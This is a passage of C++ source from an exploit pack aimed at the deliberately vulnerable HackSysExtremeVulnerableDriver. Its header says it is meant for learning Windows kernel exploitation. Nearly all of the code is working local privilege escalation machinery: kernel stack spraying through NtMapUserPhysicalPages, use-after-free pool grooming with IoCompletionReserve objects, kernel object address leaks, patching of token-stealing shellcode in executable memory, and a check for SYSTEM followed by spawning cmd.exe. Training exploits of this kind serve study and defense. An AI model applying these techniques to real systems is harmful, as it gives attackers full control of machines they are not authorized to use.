27 | 	virtual DWORD getIoctlCode() const {
28 | 		return ExploitUninitializedHeapVariable::Ioctl_Code;
29 | 	}
30 | 	
31 | 	virtual bool exploit();
32 | 	
33 | private:
34 | 	void waitForLookasideLists();
35 | 	bool populateLookasideList(PVOID payload);
36 | 	ULONG mapUnicodePivotPage(PVOID payload);
37 | };
38 | 


--------------------------------------------------------------------------------
/UninitializedStackVariable.cpp:
--------------------------------------------------------------------------------
 1 | #include "UninitializedStackVariable.h"
 2 | 
 3 | bool 
 4 | ExploitUninitializedStackVariable::exploit() {
 5 | 
 6 | 	static const size_t Buffer_Size = sizeof(ULONG_PTR) * 1024;
 7 | 	static const size_t Callback_Variable_Offset = 3500;
 8 | 	
 9 | 	struct UninitializedStackVariableObject {
10 | 		DWORD unknown;
11 | 	//	void *callback;
12 | 	};
13 | 
14 | 	UninitializedStackVariableObject obj;
15 | 	obj.unknown = 0xDEADBABE;
16 | 
17 | 	HANDLE hDriver = driver.getRawDriverHandle();
18 | 	DWORD writtenPtr;
19 | 
20 | 	auto shellcodePointer = adjustPayloadEpilogue(0);
21 | 	unique_ptr<char[]> kernelStackSpray(new char[Buffer_Size]);
22 | 	
23 | 	if(!kernelStackSpray) {
24 | 		wcerr << L"[!] Could not allocate 4096 bytes of heap memory for kernel stack spray buffer!" 
25 | 			<< endl;
26 | 		return false;	
27 | 	}
28 | 	
29 | 	memset(kernelStackSpray.get(), 0x41, Buffer_Size);
30 | 	
31 | 	// Set the value for uninitialized object's Callback member:
32 | 	//      Distance from the offset where the `Callback` is placed on the stack
33 | 	//      to the top of stack is: 0x504.
34 | 	*(reinterpret_cast<DWORD*>(&kernelStackSpray[Callback_Variable_Offset])) =
35 |         reinterpret_cast<DWORD>(*shellcodePointer);
36 | 		
37 | 	wcout << L"[+] Spraying Kernel stack pages via nt!NtMapUserPhysicalPages..." << endl;
38 | 	wcout << L"\tSending IOCTL immediately right after to avoid stack clobbering." << endl;
39 | 	
40 | 	if(!ExploitUninitializedStackVariable::sprayKernelStackPages(
41 |         kernelStackSpray.get(), 
42 |         Buffer_Size
43 |     )) {
44 | 		wcerr << L"[!] Failed." << endl;
45 | 		return false;
46 | 	}
47 | 
48 | 	// We have to call `DeviceIoControl` here manually in order to avoid unnecessary
49 | 	// kernel stack clobbering.
50 | 	BOOL ret = DeviceIoControl(hDriver, 
51 | 		ExploitUninitializedStackVariable::Ioctl_Code,
52 | 		&obj,
53 | 		sizeof(obj),
54 | 		nullptr,
55 | 		0,
56 | 		&writtenPtr,
57 | 		nullptr
58 | 	);
59 | 	
60 | 	return ret;
61 | }
62 | 
63 | bool 
64 | ExploitUninitializedStackVariable::sprayKernelStackPages(
65 | 	void* buffer, 
66 | 	size_t bufferSize
67 | ) {
68 | 	
69 | 	typeNtMapUserPhysicalPages NtMapUserPhysicalPages;
70 | 	NtMapUserPhysicalPages  = reinterpret_cast<typeNtMapUserPhysicalPages>(GetProcAddress(
71 | 		GetModuleHandleW(L"ntdll.dll"), 
72 | 		"NtMapUserPhysicalPages"
73 | 	));
74 | 	
75 | 	if(!NtMapUserPhysicalPages) {
76 | 		wcerr << L"[!] Could not locate ntdll!NtMapUserPhysicalPages" << endl;
77 | 		return false;
78 | 	}
79 | 	
80 | 	// Spraying Kernel stack memory pages via nt!NtMapUserPhysicalPages syscall as documented
81 | 	// by j00ru in his http://j00ru.vexillium.org/?p=769
82 | 	NTSTATUS stat = NtMapUserPhysicalPages (
83 | 		nullptr,
84 | 		bufferSize / sizeof(ULONG_PTR),
85 | 		reinterpret_cast<PULONG_PTR>(buffer)
86 | 	);
87 | 
88 | 	// This is expected to have the NtMapUserPhysicalPages return STATUS_INVALID_PARAMERER_1 code.
89 | 	static const NTSTATUS Expected_Failure_Code = 0xC00000EF;
90 | 	
91 | 	if(!NT_SUCCESS(stat) && stat != Expected_Failure_Code) {
92 | 		wcerr << L"[!] Kernel Stack spraying failed! Error: 0x" << hex 
93 | 			<< setw(8) << setfill(L'0') << stat << endl;
94 | 		return false;
95 | 	}
96 | 	
97 | 	return true;
98 | }
99 | 


--------------------------------------------------------------------------------
/UninitializedStackVariable.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #include "common.h"
 4 | #include "IExploit.h"
 5 | #include "HevdConstants.h"
 6 | 
 7 | class ExploitUninitializedStackVariable : public IExploit {
 8 | 	static constexpr wchar_t *Exploit_Name 	= L"Uninitialized Stack Variable";
 9 | 	static constexpr DWORD Ioctl_Code 		= HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE;
10 | 	
11 | public:
12 | 	ExploitUninitializedStackVariable(Driver& driver) : IExploit(driver) {}
13 | 	virtual ~ExploitUninitializedStackVariable() {	}
14 | 	
15 | 	virtual const wchar_t* getName() const { 
16 | 		return ExploitUninitializedStackVariable::Exploit_Name;
17 | 	};
18 | 	
19 | 	virtual DWORD getIoctlCode() const {
20 | 		return ExploitUninitializedStackVariable::Ioctl_Code;
21 | 	}
22 | 	
23 | 	virtual bool exploit();
24 | 	
25 | 	static bool sprayKernelStackPages(
26 | 		void* buffer, 
27 | 		size_t bufferSize
28 | 	);
29 | 
30 | };
31 | 


--------------------------------------------------------------------------------
/UseAfterFree.cpp:
--------------------------------------------------------------------------------
  1 | #include "UseAfterFree.h"
  2 | 
  3 | bool 
  4 | ExploitUseAfterFree::exploit() {
  5 | 	
  6 | 	DWORD dummy = 0;
  7 | 	
  8 | 	struct FakeObject {
  9 | 		void *callback;
 10 | 		unsigned char buffer[0x54];
 11 | 	};
 12 | 	
 13 | 	FakeObject obj;
 14 | 	memset(&obj, 0x43, sizeof(obj));
 15 | 	obj.callback = tokenStealingPayloadRealPointer;
 16 | 	
 17 | 	m_handles.reset(new HANDLE[Max_Number_Of_Objects]);
 18 | 	if(!m_handles) {
 19 | 		throw bad_alloc();
 20 | 	}
 21 | 		
 22 | 	memset(m_handles.get(), 0xFF, sizeof(HANDLE) * Max_Number_Of_Objects);
 23 | 	
 24 | 	wcout << L"[+] Step 1: Derandomizing kernel NonPagedPool..." << endl;
 25 | 	if(!derandomizePool()) {
 26 | 		return false;
 27 | 	}
 28 | 
 29 | 	wcout << L"[+] Step 2: Allocate Use-After-Free vulnerable object..." << endl;
 30 | 	bool ret = driver.SendIOCTLQuiet (
 31 | 		ExploitUseAfterFree::Ioctl_Code_Allocate,
 32 | 		&dummy,
 33 | 		sizeof(dummy)
 34 | 	);
 35 | 
 36 | 	wcout << L"[+] Step 3: Free that just allocated object to introduce dangling-pointer" << endl;
 37 | 	ret = driver.SendIOCTLQuiet (
 38 | 		ExploitUseAfterFree::Ioctl_Code_Free,
 39 | 		&dummy,
 40 | 		sizeof(dummy)
 41 | 	);
 42 | 	
 43 | 	wcout << L"[+] Step 4: Spraying fake objects in NonPagedPool..." << endl;
 44 | 	for(size_t i = 0; i < (Max_Number_Of_Objects / 3); i++ ) {
 45 | 		driver.SendIOCTLQuiet (
 46 | 			ExploitUseAfterFree::Ioctl_Code_Alloc_Fake_Object,
 47 | 			&obj,
 48 | 			sizeof(obj)
 49 | 		);
 50 | 	}
 51 | 		
 52 | 	wcout << L"[+] Step 5: Triggering Use-After-Free..." << endl;
 53 | 	ret = driver.SendIOCTL (
 54 | 		ExploitUseAfterFree::Ioctl_Code_Use,
 55 | 		&dummy,
 56 | 		sizeof(dummy)
 57 | 	);
 58 | 	
 59 | 	return ret;
 60 | }
 61 | 
 62 | bool 
 63 | ExploitUseAfterFree::derandomizePool() {
 64 | 	
 65 | 	typeNtAllocateReserveObject NtAllocateReserveObject;
 66 | 	NtAllocateReserveObject  = reinterpret_cast<typeNtAllocateReserveObject>(GetProcAddress(
 67 | 		GetModuleHandleW(L"ntdll.dll"), 
 68 | 		"NtAllocateReserveObject"
 69 | 	));
 70 | 	
 71 | 	if(!NtAllocateReserveObject) {
 72 | 		wcout << L"[!] Could not find address of: `NtAllocateReserveObject` syscall. System version not supported."
 73 | 			<< endl;
 74 | 		return false;
 75 | 	}
 76 | 	
 77 | 	wcout << L"\t* Allocating " << dec << Max_Number_Of_Objects 
 78 | 		<< L" IoCompletionReserve objects in NonPagedPool..." << endl;
 79 | 		
 80 | 	for(size_t i = 0; i < Max_Number_Of_Objects; i++ ) {
 81 | 		NTSTATUS stat = NtAllocateReserveObject(
 82 | 			&m_handles.get()[i],
 83 | 			0,
 84 | 			IoCompletionReserve
 85 | 		);
 86 | 		
 87 | 		if(!NT_SUCCESS(stat)) {
 88 | 			wcout << L"[!] " << dec << i << L". attempt to allocate IoCompletionReserve object failed." << endl
 89 | 				<< L"\tError: " << hex << setw(8) << setfill(L'0') << stat << endl;
 90 | 			return false;
 91 | 		}
 92 | 	}
 93 | 	
 94 | 	wcout << L"\t* Freeing every second object out of " << dec 
 95 | 		<< (Max_Number_Of_Objects / 2)
 96 | 		<< L" for purpose of pool grooming." << endl;
 97 | 		
 98 | 	for(size_t i = (Max_Number_Of_Objects / 2); 
 99 | 		i < (Max_Number_Of_Objects); 
100 | 		i += 2 
101 | 	) {
102 | 		CloseHandle(m_handles.get()[i]);
103 | 		m_handles.get()[i] = INVALID_HANDLE_VALUE;
104 | 	}
105 | 	
106 | 	return true;	
107 | }
108 | 
109 | 


--------------------------------------------------------------------------------
/UseAfterFree.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #include "common.h"
 4 | #include "IExploit.h"
 5 | #include "HevdConstants.h"
 6 | 
 7 | class ExploitUseAfterFree : public IExploit {
 8 | 	
 9 | 	static constexpr wchar_t *Exploit_Name 				= L"Use After Free";
10 | 	
11 | 	static constexpr DWORD Ioctl_Code_Allocate			= HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT;
12 | 	static constexpr DWORD Ioctl_Code_Use 				= HACKSYS_EVD_IOCTL_USE_UAF_OBJECT;
13 | 	static constexpr DWORD Ioctl_Code_Free 				= HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT;
14 | 	static constexpr DWORD Ioctl_Code_Alloc_Fake_Object	= HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT;
15 | 	
16 | 	static constexpr size_t Max_Number_Of_Objects 		= 10000;
17 | 
18 | 	unique_ptr<HANDLE[]> m_handles;
19 | 	bool m_afterCleanup;	
20 | 	
21 | public:
22 | 	ExploitUseAfterFree(Driver& driver) : IExploit(driver) {
23 | 		m_afterCleanup = false;
24 | 	}
25 | 	
26 | 	virtual ~ExploitUseAfterFree() {
27 | 		handlesCleanup();
28 | 	}
29 | 	
30 | 	virtual const wchar_t* getName() const { 
31 | 		return ExploitUseAfterFree::Exploit_Name;
32 | 	};
33 | 	
34 | 	virtual DWORD getIoctlCode() const {
35 | 		return ExploitUseAfterFree::Ioctl_Code_Allocate;
36 | 	}
37 | 	
38 | 	virtual bool exploit();
39 | 	
40 | private:
41 | 	
42 | 	bool derandomizePool();
43 | 	
44 | 	void handlesCleanup() {
45 | 		if(!m_afterCleanup && m_handles.get() != nullptr) {		
46 | 			for(size_t i = 0; i < Max_Number_Of_Objects; i++) {
47 | 				if(m_handles.get()[i] != INVALID_HANDLE_VALUE) {
48 | 					CloseHandle(m_handles.get()[i]);
49 | 				}
50 | 			}
51 | 			
52 | 			m_afterCleanup = true;
53 | 		}
54 | 	}
55 | };
56 | 


--------------------------------------------------------------------------------
/common.cpp:
--------------------------------------------------------------------------------
  1 | #include "common.h"
  2 | 
  3 | 
  4 | bool
  5 | checkExploitSuccess(bool quiet) {
  6 | 	wchar_t userName[256 + 1] = {0};
  7 | 	DWORD userNameSize = sizeof(userName);
  8 | 	
  9 | 	if (GetUserNameW(userName, &userNameSize)) {
 10 | 		if(!quiet) {
 11 |             wcout << L"[.] Exploit success check: Current user: (" << userName 
 12 | 		    	<< L"), expected: (SYSTEM)" << endl;
 13 |         }
 14 | 			
 15 | 		return wstring(userName) == wstring(L"SYSTEM");
 16 | 	}
 17 | 	
 18 | 	return false;
 19 | }
 20 | 
 21 | 
 22 | shared_ptr<PUCHAR> allocatePayloadInReadWrite() 
 23 | {
 24 | 	static const size_t Shellcode_Size = 256;
 25 | 	
 26 | 	shared_ptr<PUCHAR> customPayload( new PUCHAR(reinterpret_cast<PUCHAR>(
 27 | 		VirtualAlloc (
 28 | 			(LPVOID)0,
 29 | 			Shellcode_Size,
 30 | 			MEM_COMMIT | MEM_RESERVE,
 31 | 			PAGE_EXECUTE_READWRITE
 32 | 	))),
 33 | 	[](PUCHAR *ptr) {
 34 | 		if (*ptr != nullptr) {
 35 | 			wcout << L"[.] Freeing memory allocated for the kernel payload." << endl;
 36 | 			VirtualFree(*ptr, MEM_DECOMMIT, Shellcode_Size);
 37 | 			delete ptr;
 38 | 		}
 39 | 	});
 40 | 	
 41 | 	if(!customPayload) {
 42 | 		wcerr << L"[!] Could not allocate memory for the kernel payload!" << endl;
 43 | 		throw std::bad_alloc();
 44 | 	}
 45 | 	
 46 | 	PUCHAR customPayloadPtr = reinterpret_cast<PUCHAR>(*customPayload);
 47 | 		
 48 | 	memset(customPayloadPtr, 0, Shellcode_Size);
 49 | 	memcpy(customPayloadPtr, tokenStealingPayloadRealPointer, tokenStealingPayloadSize);
 50 | 	
 51 | 	wcout << L"[.] Custom kernel shellcode will now be located at: 0x"
 52 | 		<< hex << setw(8) << setfill(L'0') << customPayloadPtr << endl;
 53 | 	
 54 | 	return customPayload;
 55 | }
 56 | 
 57 | 
 58 | shared_ptr<PUCHAR> adjustPayloadEpilogue(UCHAR retNumber, bool addPopEbp)
 59 | {
 60 | 	static const unsigned char Shellcode_Epilogue_Signature[] = {
 61 | 		0x61, 0x31, 0xc0, 0x90, 0xc3, 0x90, 0x90
 62 | 	};
 63 | 	
 64 | 	auto customPayload = allocatePayloadInReadWrite();
 65 | 	if(!customPayload) {
 66 | 		throw std::bad_alloc();
 67 | 	}
 68 | 	
 69 | 	PUCHAR customPayloadPtr = reinterpret_cast<PUCHAR>(*customPayload);
 70 | 	const PUCHAR tokenStealingPayloadPtr = reinterpret_cast<PUCHAR>(tokenStealingPayloadRealPointer);	
 71 | 	
 72 | 	for(size_t i = 0, pos = tokenStealingPayloadSize - sizeof(Shellcode_Epilogue_Signature);
 73 | 		pos < tokenStealingPayloadSize && i < sizeof(Shellcode_Epilogue_Signature); 
 74 | 		pos++, i++
 75 | 	)  {
 76 | 		if (customPayloadPtr[pos] != tokenStealingPayloadPtr[pos]) {
 77 | 			wcerr << L"[!] Could not find the kernel shellcode's epilogue!" << endl;
 78 | 			throw std::bad_alloc();
 79 | 		}
 80 | 	}
 81 | 		
 82 | 	const size_t retBytePos = tokenStealingPayloadSize - sizeof(Shellcode_Epilogue_Signature) + 4;
 83 | 	
 84 | 	if (retNumber != 0) {
 85 | 		wcout << L"[.] Adjusting the kernel payload to make it ret 0x"
 86 | 			<< hex << setw(2) << setfill(L'0') << retNumber << endl;
 87 | 		
 88 | 		customPayloadPtr[retBytePos + 0] = 0xc2;
 89 | 		customPayloadPtr[retBytePos + 1] = retNumber;
 90 | 		customPayloadPtr[retBytePos + 2] = 0x00;
 91 | 	}
 92 | 	
 93 | 	if (addPopEbp) {
 94 | 		customPayloadPtr[retBytePos - 1] = 0x5d;
 95 | 	}
 96 | 	
 97 | 	return customPayload;
 98 | }
 99 | 
100 | 
101 | /*
102 |  * Function performing Objects addresses leakage through usage of NtQuerySystemInformation
103 |  * with SystemHandleInformation class. Not available since Windows 8 on Low Integrity level.
104 | **/
105 | bool leakCurrentProcessObjectsAddresses(std::map<HANDLE, PVOID> &objectsMap) {
106 | 	
107 | 	SYSTEM_HANDLE_INFORMATION systemHandles;
108 | 	DWORD bytesRet = 0;
109 | 
110 | 	NTSTATUS status = NtQuerySystemInformation(
111 | 		SystemHandleInformation, 
112 | 		&systemHandles, 
113 | 		sizeof(SYSTEM_HANDLE_INFORMATION), 
114 | 		&bytesRet
115 | 	);
116 | 	
117 | 	unique_ptr<BYTE> handleInformation(
118 | 		new BYTE[bytesRet]
119 | 	);
120 | 	
121 | 	status = NtQuerySystemInformation(
122 | 		SystemHandleInformation, 
123 | 		handleInformation.get(), 
124 | 		bytesRet, 
125 | 		&bytesRet
126 | 	);
127 | 	
128 | 	if(!NT_SUCCESS(status)) {
129 | 		wcerr << L"[!] Could not obtain list of system handles! Status: 0x" 
130 | 			<< hex << setfill(L'0') << setw(8) << status << endl;
131 | 		return false;
132 | 	}
133 | 	
134 | 	PSYSTEM_HANDLE_INFORMATION handleInfo = reinterpret_cast<PSYSTEM_HANDLE_INFORMATION>(
135 | 		handleInformation.get()
136 | 	);
137 | 	PSYSTEM_HANDLE_ENTRY currentHandle = &handleInfo->Handle[0];
138 | 	
139 | 	// PID of the process whose objects we shall collect.
140 | 	DWORD currentProcessID = GetCurrentProcessId();
141 | 	
142 | 	for( size_t i = 0; i < handleInfo->Count; currentHandle++, i++) {
143 | 		if (currentHandle->OwnerPid == currentProcessID) {
144 | 			HANDLE objHandle = reinterpret_cast<HANDLE>(currentHandle->HandleValue);
145 | 			objectsMap[objHandle] = currentHandle->ObjectPointer;
146 | 		}
147 | 	}
148 | 	
149 | 	return true;
150 | }
151 | 
152 | DWORD spawnProcessAndGetPID(const wstring& command)
153 | {
154 | 	STARTUPINFOW startupInfo = {0};
155 | 	PROCESS_INFORMATION procInfo = {0};
156 | 
157 | 	startupInfo.cb = sizeof(startupInfo);
158 | 	
159 | 	HWND hCurWnd = GetForegroundWindow();
160 | 	
161 | 	wcout << L"[+] Spawning process: (" << command << L")" << endl;
162 | 	if(!CreateProcessW(
163 | 		command.c_str(),
164 | 		nullptr,
165 | 		nullptr,
166 | 		nullptr,
167 | 		false,
168 | 		CREATE_NEW_CONSOLE,
169 | 		nullptr,
170 | 		nullptr,
171 | 		&startupInfo,
172 | 		&procInfo
173 | 	)) {
174 | 		wcerr << L"[!] Could not spawn process (" << command << L"). Error: "
175 | 			<< getErrorString(GetLastError()) << endl;
176 | 		return 0;
177 | 		
178 | 	}
179 | 	
180 | 	SetForegroundWindow(hCurWnd);
181 | 
182 | 	CloseHandle(procInfo.hThread);
183 | 	CloseHandle(procInfo.hProcess);
184 | 	
185 | 	return procInfo.dwProcessId;
186 | }
187 | 


--------------------------------------------------------------------------------
/common.h:
--------------------------------------------------------------------------------
  1 | #pragma once
  2 | 
  3 | #include <windows.h>
  4 | #include <winternl.h>
  5 | #include <iostream>
  6 | #include <memory>
  7 | #include <map>
  8 | #include <tuple>
  9 | #include <sstream>
 10 | #include <stdexcept>
 11 | #include <iomanip> 
 12 | #include <algorithm>
 13 | #include <map>
 14 | #include <type_traits>
 15 | 
 16 | #include "payloads.h"
 17 | 
 18 | using namespace std;
 19 | 
 20 | 
 21 | #define random(min, max) (rand() % (int)((max) - (min)) + (min))
 22 | 
 23 | 
 24 | // ===========================================
 25 | // FUNCTIONS & STRUCTS DECLARATIONS
 26 | //
 27 | 
 28 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
 29 | 	USHORT UniqueProcessId;
 30 | 	USHORT CreatorBackTraceIndex;
 31 | 	UCHAR ObjectTypeIndex;
 32 | 	UCHAR HandleAttributes;
 33 | 	USHORT HandleValue;
 34 | 	PVOID Object;
 35 | 	ULONG GrantedAccess;
 36 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
 37 | 
 38 | /*
 39 | typedef struct _SYSTEM_HANDLE_INFORMATION {
 40 | 	ULONG NumberOfHandles;
 41 | 	SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
 42 | } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
 43 | */
 44 | 
 45 | enum ReserveObjectType {
 46 | 	UserApcReserve = 0,
 47 | 	IoCompletionReserve = 1
 48 | };
 49 | 
 50 | typedef NTSTATUS (WINAPI *typeNtQueryIntervalProfile)(
 51 | 	DWORD ProfileSource, 
 52 | 	PULONG Interval
 53 | );
 54 | 
 55 | typedef NTSTATUS (WINAPI *typeNtAllocateVirtualMemory)(
 56 |     HANDLE ProcessHandle,
 57 |     const PVOID *BaseAddress,
 58 |     ULONG ZeroBits,
 59 |     const PULONG AllocationSize,
 60 |     ULONG AllocationType,
 61 |     ULONG Protect
 62 | );
 63 | 
 64 | typedef NTSTATUS (WINAPI *typeNtMapUserPhysicalPages)(
 65 |     PVOID BaseAddress,
 66 |     ULONG_PTR NumberOfPages,
 67 |     PULONG_PTR UserPfnArray		// Page Frame Numbers
 68 | );
 69 | 
 70 | typedef NTSTATUS (WINAPI *typeNtAllocateReserveObject)(
 71 |     PHANDLE hObject,
 72 |     PVOID ObjectAttributes,
 73 |     ReserveObjectType ObjectType
 74 | );
 75 | 
 76 | 
 77 | bool checkExploitSuccess(bool quiet = false);
 78 | const wchar_t* getErrorString(DWORD error);
 79 | DWORD spawnProcessAndGetPID(const wstring& command);
 80 | shared_ptr<PUCHAR> adjustPayloadEpilogue(UCHAR retNumber, bool addPopEbp = false);
 81 | bool leakCurrentProcessObjectsAddresses(std::map<HANDLE, PVOID> &objectsMap);
 82 | 
 83 | 
 84 | /**
 85 |  * Metaprogrammed way of telling whether a template's type
 86 |  * is a subtype of a base template. To be used for instance
 87 |  * while telling whether passed template's type is a std::string/
 88 |  * std::wstring as it must be subtype of template std::basic_string.
 89 | **/
 90 | template <template <typename...> class Base, typename...Ts>
 91 | std::true_type is_base_of_template_implementation(const Base<Ts...>*);
 92 | 
 93 | template <template <typename...> class Base>
 94 | std::false_type is_base_of_template_implementation(...);
 95 | 
 96 | template <template <typename...> class Base, typename T>
 97 | using is_base_of_template = decltype(is_base_of_template_implementation<Base>(std::declval<T*>()));
 98 | 
 99 | template<typename T>
100 | inline T trim(const T &s) {
101 | 	static_assert(
102 | 		is_base_of_template<std::basic_string, T>::value, 
103 | 		"T must inherit from std::basic_string"
104 | 	);
105 | 	
106 |    	auto wsfront = std::find_if_not(s.begin(), s.end(), [](int c){
107 |    		return std::isspace(c);
108 | 	});
109 | 	
110 |    	auto wsback = std::find_if_not(s.rbegin(), s.rend(), [](int c){
111 | 	   	return std::isspace(c);
112 | 	}).base();
113 | 	
114 |    	return (wsback <= wsfront ? T() : T(wsfront, wsback));
115 | }
116 | 
117 | 


--------------------------------------------------------------------------------
/exploit.cpp:
--------------------------------------------------------------------------------
  1 | /**
  2 |  * HackSysExtremeVulnerableDriver exploit pack consisting of all of the possible
  3 |  * exploits against that vulnerable driver. To be used in learning process of 
  4 |  * Windows Kernel Exploitation journey. 
  5 |  *
  6 |  * Intended to be run under: Windows 7 SP1 x86, English
  7 |  * 
  8 |  * Mariusz Banach / mgeeky.
  9 |  *
 10 | **/
 11 | 
 12 | #include "common.h"
 13 | #include "driver.h"
 14 | #include "HevdConstants.h"
 15 | 
 16 | #include "StackOverflow.h"
 17 | #include "ArbitraryOverwrite.h"
 18 | #include "NullPointerDereference.h"
 19 | #include "IntegerOverflow.h"
 20 | #include "TypeConfusion.h"
 21 | #include "UninitializedStackVariable.h"
 22 | #include "UninitializedHeapVariable.h"
 23 | #include "UseAfterFree.h"
 24 | #include "PoolCorruption.h"
 25 | #include "StackOverflowGS.h"
 26 | #include "DoubleFetch.h"
 27 | 
 28 | 
 29 | map<DWORD, const wchar_t*> g_ioctlCodeNames {
 30 | 	{ IOCTL_CODES(HACKSYS_EVD_IOCTL_STACK_OVERFLOW), 				L"HACKSYS_EVD_IOCTL_STACK_OVERFLOW"					},
 31 | 	{ IOCTL_CODES(HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS), 			L"HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS"				},
 32 | 	{ IOCTL_CODES(HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE), 			L"HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE"			},
 33 | 	{ IOCTL_CODES(HACKSYS_EVD_IOCTL_POOL_OVERFLOW),                 L"HACKSYS_EVD_IOCTL_POOL_OVERFLOW"					},
 34 | 	{ IOCTL_CODES(HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT), 			L"HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT"			},
 35 | 	{ IOCTL_CODES(HACKSYS_EVD_IOCTL_USE_UAF_OBJECT), 				L"HACKSYS_EVD_IOCTL_USE_UAF_OBJECT"					},
 36 | 	{ IOCTL_CODES(HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT), 				L"HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT"				},
 37 | 	{ IOCTL_CODES(HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT), 			L"HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT"			},
 38 | 	{ IOCTL_CODES(HACKSYS_EVD_IOCTL_TYPE_CONFUSION), 				L"HACKSYS_EVD_IOCTL_TYPE_CONFUSION"					},
 39 | 	{ IOCTL_CODES(HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW), 				L"HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW"				},
 40 | 	{ IOCTL_CODES(HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE), 		L"HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE"		},
 41 | 	{ IOCTL_CODES(HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE), 	L"HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE"	},
 42 | 	{ IOCTL_CODES(HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE), 	L"HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE"	},
 43 | 	{ IOCTL_CODES(HACKSYS_EVD_IOCTL_DOUBLE_FETCH), 					L"HACKSYS_EVD_IOCTL_DOUBLE_FETCH" 					}
 44 | };
 45 | 
 46 | const wstring& Vulnerable_Driver_Name 			= L"HackSysExtremeVulnerableDriver";
 47 | const wstring& Vulnerable_Driver_Module_Name 	= L"HEVD";
 48 | const wstring& Command_To_Execute 				= L"cmd.exe";
 49 | 
 50 | void *tokenStealingPayloadRealPointer 			= nullptr;
 51 | size_t tokenStealingPayloadSize					= 0;
 52 | 
 53 | 
 54 | const wchar_t* 
 55 | getErrorString(DWORD error) {
 56 | 	wchar_t buf[256];
 57 | 	static wchar_t out[300];
 58 | 	
 59 | 	FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM, NULL, error, 
 60 |     				MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), buf, 256, NULL);
 61 | 	wstringstream err;
 62 | 	err << L"(" << trim(wstring(buf)) << L" Code: " << error << L")";
 63 | 	
 64 | 	wcsncpy(out, err.str().c_str(), _countof(out));
 65 | 	return out;
 66 | }
 67 | 
 68 | 
 69 | int 
 70 | main(
 71 | 	int argc, 
 72 | 	char** argv
 73 | ) {
 74 | 	
 75 | 	wcout << L"\t" << Vulnerable_Driver_Name << endl;
 76 | 	wcout << L"\tLocal Privilege Escalation exploit's pack'" << endl;
 77 | 	wcout << L"\tMariusz Banach / mgeeky, '17" << endl << endl;
 78 | 	
 79 | 	Driver driver(Vulnerable_Driver_Name, Vulnerable_Driver_Module_Name, &g_ioctlCodeNames);	
 80 | 	if(!driver) {
 81 | 		wcerr << L"[!] Could not open the driver.\n\tError: " << getErrorString(driver.getError()) << endl;
 82 | 		return 1;
 83 | 	}
 84 | 	
 85 | 	wcout << L"[+] Opened " << Vulnerable_Driver_Name << " driver's handle." << endl;
 86 | 
 87 | 	// Looking for opening NOPs address of the token_stealing_win7 payload
 88 | 	char *ptr = reinterpret_cast<char*>(&token_stealing_win7) - 16;
 89 | 	bool found = false;
 90 | 	for(size_t pos = 0; pos < 32; pos++ ) {
 91 | 		if (ptr[pos + 0] == (char)0x90 && 
 92 | 			ptr[pos + 1] == (char)0x90 && 
 93 | 			ptr[pos + 2] == (char)0x90 && 
 94 | 			ptr[pos + 3] == (char)0x90) {
 95 | 			tokenStealingPayloadRealPointer = &ptr[pos];
 96 | 			ptr = reinterpret_cast<char*>(tokenStealingPayloadRealPointer);
 97 | 			found = true;
 98 | 			break;
 99 | 		}
100 | 	}
101 | 	
102 | 	if (!found) {
103 | 		wcerr << L"[!] Compiler's optimizations (gcc/g++) has corrupted internal layout " << endl
104 | 			<< L"\tof `token_stealing_win7` naked function. The exploit cannot continue." << endl;
105 | 		return 1;
106 | 	}
107 | 	
108 | 	// Determining current size of the payload
109 | 	for(size_t pos = 0; pos < 128; pos++ ) {
110 | 		if (ptr[pos + 0] == (char)0xcc && 
111 | 			ptr[pos + 1] == (char)0xcc && 
112 | 			ptr[pos + 2] == (char)0xcc && 
113 | 			ptr[pos + 3] == (char)0xcc) {
114 | 			tokenStealingPayloadSize = pos;
115 | 			break;
116 | 		}
117 | 	}
118 | 		
119 | 	wcout << L"[?] Kernel shellcode in user-memory at: 0x" << hex << setw(8) << setfill(L'0')
120 | 			<< reinterpret_cast<DWORD>(tokenStealingPayloadRealPointer) 
121 | 			<< L" (size: " << dec << tokenStealingPayloadSize << L" bytes)." << endl << endl;
122 | 			
123 | 	wcout << wstring(32, L'-') << endl;
124 | 		
125 | 	shared_ptr<IExploit> exploits[] = {
126 | 		shared_ptr<IExploit>(new ExploitStackOverflow(driver)),
127 | 		shared_ptr<IExploit>(new ExploitArbitraryOverwrite(driver)),
128 | 		shared_ptr<IExploit>(new ExploitNullPointerDereference(driver)),
129 | 		shared_ptr<IExploit>(new ExploitIntegerOverflow(driver)),
130 | 		shared_ptr<IExploit>(new ExploitTypeConfusion(driver)),
131 | 		shared_ptr<IExploit>(new ExploitUninitializedStackVariable(driver)),
132 | 		shared_ptr<IExploit>(new ExploitUninitializedHeapVariable(driver)),
